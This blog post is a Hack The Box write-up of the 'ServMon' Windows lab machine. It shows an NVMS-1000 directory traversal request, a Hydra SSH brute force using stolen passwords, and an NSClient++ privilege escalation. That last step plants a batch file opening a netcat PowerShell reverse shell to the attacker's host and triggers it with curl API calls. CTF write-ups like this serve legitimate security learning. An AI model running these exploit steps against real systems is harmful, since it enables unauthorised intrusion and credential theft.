Hack The Box - ServMon Writeup - Logan Elliott InfoSec

Posted in CTF, Windows Hacking, Writeups

Hack The Box – ServMon Writeup

Logan Elliott
posted on September 9, 2020September 10, 2020
No Comment

Spread the love

Target: ServMon

ServMon is a fairly easy Windows box created by the HTB user dmw0ng.

Let’s get started!

Exploitation Process

Abuse FTP anonymous login to perform information disclosure
Exploit directory traversal vulnerability in NVMS-1000 to grab text file from server containing credentials
Login to SSH as user ‘nadine’ to gain initial shell and user flag
Exploit privilege escalation vulnerability in NSClient++ software to obtain a shell as the ‘SYSTEM’ user and grab root flag

Reconnaissance

As always, we’ll begin by running an initial Nmap scan against the target system:

sudo nmap -T4 -sC -sV -p- -oA servmon_sudoNmap_sC_sV_allport01 10.10.10.184

-T4 Sets the timing template of our scan to be fairly quick
-sC Will run a default script scan against the target with NSE (Nmap Scripting Engine)
-sV Will probe open ports to determine service/version info
-p- Will configure our scan to probe all ports on the target host
-oA Will output our scan report in normal, XML, or Grepable format

Our scan report describes several interesting services present on the host:

21/tcp open ftp Microsoft ftpd

22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)

80/tcp open http

135/tcp open msrpc Microsoft Windows RPC

139/tcp open SMB

445/tcp open SMB

8443/tcp open ssl/https-alt (NSClient++)

Given that we have now attained some information about our target from our scans, let’s analyze this data and see what conclusions we can draw from it as an attacker:

FTP is running on the target and allows for anonymous logins, we should investigate this further to see if anything of value is present within FTP
SSH is configured on the host, we should keep this in mind during our attack, as we may be able to gain a shell via SSH if we find any credentials
HTTP is running on the target, we should certainly investigate this web server to see if it is vulnerable or contains anything valuable
SMB is present on the box, we should make note of this as we may be able to leverage SMB during our attack
NSClient++ is configured on the target machine, this is a monitoring daemon, given the name of the target machine, we can reasonably assume that this may be of importance during our attack

Enumeration

FTP

To kick things off, we’ll start by investigating the FTP server on the target system:

We authenticate to the FTP server as ‘anonymous’. Running the ‘dir’ command reveals that the C:\Users directory appears to be present on the FTP server.

Moving into the Users directory reveals two subdirectories for the users ‘Nadine’ and ‘Nathan’.

Using the ‘dir’ command to list the contents of both of their directories, we discover two text files present on the FTP server.

Let’s use the FTP ‘get’ command to transfer these files to our local machine and view their contents:

First, we will take a look at the ‘Confidential.txt’ file stored in Nadine’s directory:

cat Confidential.txt
Nathan,

I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadine

This is certainly an interesting find, we’ll make a note of this and see if we can access the ‘Passwords.txt’ file at a later time.

Next, let’s take a look at the ‘Notes to do.txt’ file present in Nathan’s directory:

cat ‘Notes to do.txt’
1) Change the password for NVMS – Complete
2) Lock down the NSClient Access – Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint

The contents of this file reveal some of the actions that Nathan has taken while administering the target system. We’ll also make a note of this information as it may certainly prove useful throughout our attack.

Now that we have enumerated some information from the files within the FTP server, let’s take a look at the HTTP server running on the target.

HTTP

Navigating to the HTTP server from within a browser displays a login for NVMS-1000.

NVMS-1000 is a monitoring client designed for network surveillance.

Researching this software for related vulnerabilities reveals that NVMS-1000 is affected by a directory traversal vulnerability via a crafted HTTP GET request:

GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1

The proof of concept can be found here:

https://www.exploit-db.com/exploits/47774

Now that we have confirmed the existence of a directory traversal vulnerability within the NVMS-1000 web application, let’s analyze how we can leverage this vulnerability.

As we noted earlier when investigating the FTP server, Nadine informed us that she placed the ‘Passwords.txt’ file within Nathan’s desktop directory. Using this information in conjunction with our directory traversal vulnerability, it may be possible to reveal the contents of the ‘Passwords.txt’ file.

Exploitation

To exploit the directory traversal vulnerability we discovered, we will use the corresponding Metasploit module to carry out this attack:

auxiliary/scanner/http/tvt_nvms_traversal

Next, we will configure the module with the proper information to ensure that our attack is successful:

set RHOSTS 10.10.10.184

set FILEPATH /Users/Nathan/Desktop/Passwords.txt

With the module properly configured, we can now launch our exploit:

The attack completes successfully and we can cat out our newly saved file to view the contents of ‘Passwords.txt’:

1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$

Excellent! Now that we have gathered the passwords stored within the file, let’s identify how we can leverage these passwords to obtain a shell on the target host.

If we recall the report generated by our previous Nmap scan, we can see that OpenSSH is running on the target.

We can utilize Hydra to test these passwords against the SSH server. Since we have already confirmed that both Nadine and Nathan are users present on the target system, we will attempt our bruteforce attack against both users.

Let’s try that now!

First, we will create a new text file containing both usernames.

Next, we’ll utilize the following command to perform our attack against the SSH service:

hydra -L user.txt -P Passwords.txt 10.10.10.184 -t 4 ssh

This will cause Hydra to read the users ‘Nathan’ and ‘Nadine’ which we have stored within a text file, as well as read the passwords from the ‘Passwords.txt’ file we gained access to using our directory traversal attack.

[22][ssh] host: 10.10.10.184 login: Nadine password: L1k3B1gBut7s@W0rk

Great! Hydra reports that we can successfully login to SSH with the credentials Nadine:L1k3B1gBut7s@W0rk

Now that we have confirmed that we can authenticate to SSH as Nadine, we will use this knowledge to gain an initial shell and grab the user.txt file!

Privilege Escalation

Now that we have attained an initial shell, we’ll now attempt to escalate our privilege to attain the SYSTEM user.

We’ll start by enumerating the target machine. We can use a Windows enumeration script to aid in this process, which we can transfer to the host using secure copy protocol (SCP).

Note: Windows Enumeration Scripts Used On This Target

While attempting to escalate my privilege, I utilized two excellent Windows enumeration scripts:

1. Powerless.bat

https://github.com/M4ximuss/Powerless

2. WinPEAS

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS

I highly suggest checking out both of these scripts, I consistently find myself using them on numerous Windows systems.

After performing some thorough enumeration on the target host, we’ll come across the following directory:

C:\Program Files\NSClient++

If we review the ‘Notes to do.txt’ file we discovered earlier, there is a reference to NSClient:

2) Lock down the NSClient Access – Complete

While Nathan may be under the impression that the NSClient software has been secured, some quick research reveals that NSClient++ version 0.5.2.35 contains a privilege escalation vulnerability.

NSClient++ is a monitoring daemon which includes a couple core features:

Allow a remote machine (monitoring server) to request commands to be run on this machine (the monitored machine) which return the status of the machine
Submit the same results to a remote (monitoring server)
Take action and perform tasks
Submit metrics and real-time data to a central repository

In cases where NSClient++ is installed with the administrative web server enabled, low-privilege users on the local machine have the ability to view the NSClient++ administrator password stored within the ‘nsclient.ini’ file.

Armed with the administrator password, a low-privilege user can make changes to the NSClient++ configuration by accessing the administrative web server or by interacting with the NSClient++ API.

If not already enabled, the low-privilege user can modify the application configuration to set the CheckExternalScripts module to be enabled, as well as the Scheduler module.

If these modules are loaded, the low-privilege user can create a malicious script and abuse their administrative access to cause NSClient++ to execute their script.

Since NSClient++ Service runs with SYSTEM level privileges, the malicious script will also be executed in the context of SYSTEM.

Now that we understand how this vulnerability occurs, let’s examine how we can exploit this vulnerability on our target!

To begin, let’s first confirm that the NSClient++ installation is indeed the vulnerable version.

We can check this by issuing the following command:

C:\Program Files\NSClient++>nscp.exe test

The proper way to gather this information would require using the check_nscp_version module. However in the context of our attacking machine, we do not appear to have this ability. Therefore, by using the aforementioned command, we can view the NSClient++ version in the resulting output:

nadine@SERVMON C:\Program Files\NSClient++>nscp.exe test
D core NSClient++ 0.5.2.35 2018-01-28 x64 Loading settings and logger…
C:\Program Files\NSClient++\nsclient.log could not be opened, Discarding: debug: NSClient++ 0.5.2.35 2018-01-28 x64 Loading settings and logger…
D core Settings not ready so we cant lookup: base-path

Excellent, we now have confirmation that the installed version of NSClient++ is vulnerable.

Now let’s take a look at the ‘nsclient.ini’ file:

# If you want to fill this file with all available options run the following command:
# nscp settings –generate –add-defaults –load-all
# If you want to activate a module and bring in all its options use:
# nscp settings –activate-module –add-defaults
# For details run: nscp settings –help

; in flight – TODO
[/settings/default]

; Undocumented key
password = ew2x6SsGTxjRwXOT

; Undocumented key
allowed hosts = 127.0.0.1

; in flight – TODO
[/settings/NRPE/server]

; Undocumented key
ssl options = no-sslv2,no-sslv3

; Undocumented key
verify mode = peer-cert

; Undocumented key
insecure = false

; in flight – TODO
[/modules]

; Undocumented key
CheckHelpers = disabled

; Undocumented key
CheckEventLog = disabled

; Undocumented key
CheckNSCP = disabled

; Undocumented key
CheckDisk = disabled

; Undocumented key
CheckSystem = disabled

; Undocumented key
WEBServer = enabled

; Undocumented key
NRPEServer = enabled

; CheckTaskSched – Check status of your scheduled jobs.
CheckTaskSched = enabled

; Scheduler – Use this to schedule check commands and jobs in conjunction with for instance passive monitoring through NSCA
Scheduler = enabled

; CheckExternalScripts – Module used to execute external scripts
CheckExternalScripts = enabled

; Script wrappings – A list of templates for defining script commands. Enter any command line here and they will be expanded by scripts placed under the wrapped scripts section. %SCRIPT% will be replaced by the actual script an %ARGS% will be replaced by any given arguments.
[/settings/external scripts/wrappings]

; Batch file – Command used for executing wrapped batch files
bat = scripts\\%SCRIPT% %ARGS%

; Visual basic script – Command line used for wrapped vbs scripts
vbs = cscript.exe //T:30 //NoLogo scripts\\lib\\wrapper.vbs %SCRIPT% %ARGS%

; POWERSHELL WRAPPING – Command line used for executing wrapped ps1 (powershell) scripts
ps1 = cmd /c echo If (-Not (Test-Path “scripts\%SCRIPT%”) ) { Write-Host “UNKNOWN: Script `”%SCRIPT%`” not found.”; exit(3) }; scripts\%SCRIPT% $ARGS$; exit($lastexitcode) | powershell.exe /noprofile -command –

; Schedules – Section for the Scheduler module.
[/settings/scheduler/schedules]

; foobar – To configure this create a section under: /settings/scheduler/schedules/foobar
foobar = interval = 1m, command = foobar

; External script settings – General settings for the external scripts module (CheckExternalScripts).
[/settings/external scripts]
allow arguments = true

; External scripts – A list of scripts available to run from the CheckExternalScripts module. Syntax is: `command=script arguments`
[/settings/external scripts/scripts]

; Undocumented key
bteam = command = c:\temp\rdp.bat

; SCHEDULE DEFENITION – Schedule definition for: default
[/settings/scheduler/schedules/default]

; ALIAS – The alias (service name) to report to server
alias = SD

; Scheduler – Section for the Scheduler module.
[/settings/scheduler]

; Undocumented key
interval = command = bteam

; Undocumented key
bteam = interval = 1m

; script: default – The configuration section for the default script.
[/settings/external scripts/scripts/default]

After reviewing this file, we’ll notice that the the administrator password for the application is in fact included in plain-text:

password = ew2x6SsGTxjRwXOT

In addition, we can also see that the ‘CheckExternalScripts’ module is enabled:

; CheckExternalScripts – Module used to execute external scripts
CheckExternalScripts = enabled

With this information, we should now be able to exploit the privilege escalation vulnerability!

You may have noticed when reviewing the ‘nsclient.ini’ file that the web server as well as the API is only accessible from the localhost. While we could perform some port forwarding trickery to be able to access the web interface, we’ll carry out our attack via the API. As this is a more direct method to achieve our actions since we already posses a shell that we can use to interact with the CLI.

Firstly, we will need to create the malicious batch file that will be executed by NSClient++:

@Echo off
C:\temp\nc.exe -e powershell.exe 10.10.14.52 443

This will cause NSClient++ to run netcat when our script is executed, which will send a powershell reverse shell to the listener on our attacking machine.

Since our malicious script requires netcat to send our reverse shell, we will need to transfer over the nc.exe binary in addition to our newly created batch file.

We’ll transfer the nc.exe binary and the malicious batch file to the target using SCP:

scp nc.exe nadine@10.10.10.184:”C:\Temp”
nadine@10.10.10.184’s password:
nc.exe 100% 58KB 165.0KB/s 00:00

scp me.bat nadine@10.10.10.184:”C:\Temp”
nadine@10.10.10.184’s password:
me.bat 100% 59 0.6KB/s 00:00

With both files transferred to the target host, we can begin our privilege escalation attack against NSClient++.

We’ll begin by using curl to send a crafted request to the NSClient++ API. This will add our malicious batch file as script that can be executed by the application.

nadine@SERVMON C:\Temp>curl -s -k -u admin -X PUT https://localhost:8443/api/v1/scripts/ext/scripts/me.bat --data-binary "C:\Temp\nc.exe 10.10.14.52 443 -e powershell.exe"
Enter host password for user 'admin':
Added me as scripts\me.bat

Let’s briefly review the important parts of our curl statement:

-u Specifies the user to authenticate as, which in our case is ‘admin’
-X Declares the request option to utilize, in this context we will utilize the ‘PUT’ option
–data-binary Specifies that the data being sent in the request is binary data

Moving on, we can see our crafted API request has added the batch file to NSClient++ scripts:

Added me as scripts\me.bat

We’ll continue by opening up a listener on our attacking machine to catch our reverse shell:

sudo rlwrap nc -nlvp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443

Now it’s time to pull the trigger and get our shell!

We’ll send one last crafted request to the API, which will cause our batch file to be executed by NSClient++, shooting us back a SYSTEM shell to our listener:

nadine@SERVMON C:\Temp>curl -s -k -u admin "https://localhost:8443/api/v1/queries/me/commands/execute?time=3m"
Enter host password for user 'admin':

Let’s check back on our listener!

Excellent, we have successfully obtained a SYSTEM shell!

Now let’s grab our root.txt flag!

Mission accomplished!

Conclusion and Review

There are two main lessons that we can learn from this machine:

Software should be regularly maintained and updated to ensure that vulnerabilities are patched
Services such as FTP should be examined to ensure that they are properly configured; anonymous login on FTP should also generally be disabled unless necessary

That concludes our examination of ServMon!

Although this box is not too challenging, the exploitation process flows smoothly and was a lot of fun to work through. If you enjoyed this machine as well, head over to HackTheBox and give dmw0ng some respect!

Until next time,

Happy Hacking!

Logan Elliott InfoSec